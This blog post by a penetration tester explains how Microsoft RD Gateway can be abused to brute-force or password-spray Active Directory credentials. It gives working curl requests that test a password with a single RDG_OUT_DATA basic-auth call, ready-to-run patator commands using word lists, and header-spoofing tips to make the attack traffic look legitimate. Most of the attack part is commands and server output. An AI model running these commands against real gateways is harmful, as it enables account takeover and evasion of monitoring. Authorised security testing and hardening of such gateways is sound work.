Brute-forcing Active Directory credentials via RD Gateway

Alexey Petrenko
5 min readOct 16, 2018

--

TL;DR

I wrote a module for patator, lanjelot improved it and merged it in.

Usage:

patator.py rdp_gateway url=https://gateway.example.com/remoteDesktopGateway/ user_pass=FILE0:FILE1 0=logins.txt 1=passwords.txt
rdp_gateway in action

Full story

RD Gateway is a technology by Microsoft to allow access to internal RDP resources from internet without having to allow incoming connections to RDP servers themselves. Basically, it is a proxy for RDP.

Sometimes, Microsoft RD Gateway is the only way in the network. Once, I found myself in this exact situation. I wanted to do some password spraying over it. Google have not helped: I have not found any tools capable of brute-forcing RD Gateway.

Funnily enough, some people believe that RD Gateway stops brute-force attacks, which is obviously not true. At least it is possible to manually enter different credentials in an RDP client and test their validity. Do not beleive everything you read on internet.

Anyway, I wanted an automatic way of testing credentials validity over RD Gateway. So, I decided to see what is happening under the hood.

Let’s start with a working RDP connection over a gateway.

xfreerdp /u:user@DOMAIN /p:Password1 /v:host /g:gateway.example.com

It produces following traffic dump:

Connection is made to a port 443 and uses TLS.

Could it be HTTPS?

The same connection send through intercepting proxy:

HTTPS_PROXY=http://localhost:8080 xfreerdp /u:user@DOMAIN /p:Password1 /v:host /g:gateway.example.com

It does the charm and now unencrypted traffic is visible.

Unencrypted xfreerdp request and response

It IS HTTPS! Also, it uses NTLM to authenticate.

This time rdp connection failed. This is because of NTLM. I could have tried to supply credentials to burp and make it use it for NTLM authentication. But, this is not important at all, as you will see in a bit.

By the way, xfreerdp throws a certificate warning.

The host key for gateway.example.com:443 has changed
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that a host key has just been changed.
The fingerprint for the host key sent by the remote host is■■:■■:■■:■■:■■:■■:■■:■■:■■:■■:■■:■■:■■:■■:■■:■■:■■:■■:■■:■■
Please contact your system administrator.

They do check SSL certificate validity, which is nice.

Time to change tools

Next I wanted to reproduce the same behavior with HTTPS client. The strategy is simple: start with a minimal request. Add request parameters one by one until the server believes it is a proper RDP client

Starting with a simple GET to the /remoteDesktopGateway/ path:

> $ curl -D - https://gateway.example.com/remoteDesktopGateway/ curl: (52) Empty reply from server

It does not work. Let’s change request method to RDG_OUT_DATA.

> $ curl -D - https://gateway.example.com/remoteDesktopGateway/ -X RDG_OUT_DATAcurl: (52) Empty reply from server

Still does not work. Let’s copy custom RDG-Connection-Id header from a request send by xfreerdp:

> $ curl -D - https://gateway.example.com/remoteDesktopGateway/ -X RDG_OUT_DATA -H 'RDG-Connection-Id: {084affb2-4268-a947-3930-afaf9e04f117}'HTTP/1.1 401 Access Denied
Server: Microsoft-HTTPAPI/2.0
RDG-Auth-Scheme: SMARTCARD
WWW-Authenticate: Negotiate
WWW-Authenticate: NTLM
WWW-Authenticate: Digest qop="auth",algorithm=MD5-sess,nonce="+Upgraded+v1f04e9867ae0ab335092bcaf793b85f9802c79fb66929d401aea3658d0198b487b02231b36b815e6ecf742b8fac5023035fb2c0a80fd062fe",charset=utf-8,realm="Digest"
WWW-Authenticate: Basic
Date: Wed, 01 Aug 2018 07:31:51 GMT
Content-Length: 0

This one is interesting. There is a reply from server asking for authentication. Apparently RD Gateway also supports basic authentication. Let’s try it out!

A request with invalid credentials in basic authentication:

> $ curl -D - https://gateway.example.com/remoteDesktopGateway/ -X RDG_OUT_DATA -H 'RDG-Connection-Id: {084affb2-4268-a947-3930-afaf9e04f117}' -u user:WrongPassHTTP/1.1 401 Access Denied
Server: Microsoft-HTTPAPI/2.0
RDG-Auth-Scheme: SMARTCARD
WWW-Authenticate: Negotiate
WWW-Authenticate: NTLM
WWW-Authenticate: Digest qop="auth",algorithm=MD5-sess,nonce="+Upgraded+v1f04e9867ae0ab335092bcaf793b85f98a5b00fb96b29d401b0f3720037ad091ec971d568380dc42970e2a725d6a7d766a16d9455d56414ee",charset=utf-8,realm="Digest"
WWW-Authenticate: Basic
Date: Wed, 01 Aug 2018 07:41:14 GMT
Content-Length: 0

A request with valid credentials:

> $ curl -D - https://gateway.example.com/remoteDesktopGateway/ -X RDG_OUT_DATA -H 'RDG-Connection-Id: {084affb2-4268-a947-3930-afaf9e04f117}' -u user:Password1HTTP/1.1 200 OK
Server: Microsoft-HTTPAPI/2.0
Date: Wed, 01 Aug 2018 07:42:00 GMT
^C

Success! It is possible to check username/password validity with a single HTTP request!

Unfortunately, there are two minor inconveniences:

  1. If authentication is successful, server sends headers shown above and waits indefinitely without closing a connection.
  2. After successful authentication any subsequent request with the same RDG-Connection-Id produces Empty reply from server. So, it is absolutely necessary to use a new RDG-Connection-Id after each successful authentication attempt.

Switching to patator

To automate brute-forcing on the web I use patator. This time is no exception.

Following command will take logins and passwords from corresponding files and test them against RD Gateway. It will use the same HTTP method, headers and basic authentication as the curl requests shown before.

patator.py http_fuzz url=https://gateway.example.com/remoteDesktopGateway/ user_pass=FILE0:FILE1 0=logins.txt 1=passwords.txt method=RDG_OUT_DATA header="RDG-Connection-Id: {084affb2-4268-a947-3930-afaf9e04f117}" timeout=1 --max-retries=0

timeout option is used to make successful attempts detection faster. As, on success, connection is not closed by server and patator has to wait until it times out.

Patator produces following ouptput:

patator http_fuzz output

Two problems mentioned before are immediately obvious:

  • Success is indicated by an exception
  • Every authentication attempt after the successful one is useless.

I can live with the first problem just fine, but, not with the second one.

Customizing patator

That is when I decided to write my own patator module: rdp_gateway. The module is pretty simple: It inherits from http_fuzz module, overwrites certain methods to append random GUID as RDG-Connection-Id to each request and suppresses Operation timed out exceptions.

After I submitted this module, lanjelot improved it by switching libcurl to HEAD mode (It still keeps RDG_OUT_DATA request method). This way there is no timeouts at all and no need to handle these exceptions.

Usage is trivial:

patator.py rdp_gateway url=https://gateway.example.com/remoteDesktopGateway/ user_pass=FILE0:FILE1 0=logins.txt 1=passwords.txt

If you want to make it look more legit, you could fix useragent, add missing headers and switch to NTLM auth:

patator.py rdp_gateway url=https://gateway.example.com/remoteDesktopGateway/ user_pass=FILE0:FILE1 0=logins.txt 1=passwords.txt header=$’Cache-Control: no-cache\nPragma: no-cache\nUser-Agent: MS-RDGateway/1.0\nContent-Length: 0' auth_type=ntlm

That way, NTLM auth is used and all the heders mimic xfreerdp. Keep in mind, though, that NTLM requires multiple requests, when basic auth can be done in a single request. So, basic auth is more suspicious, but it is faster.

--

--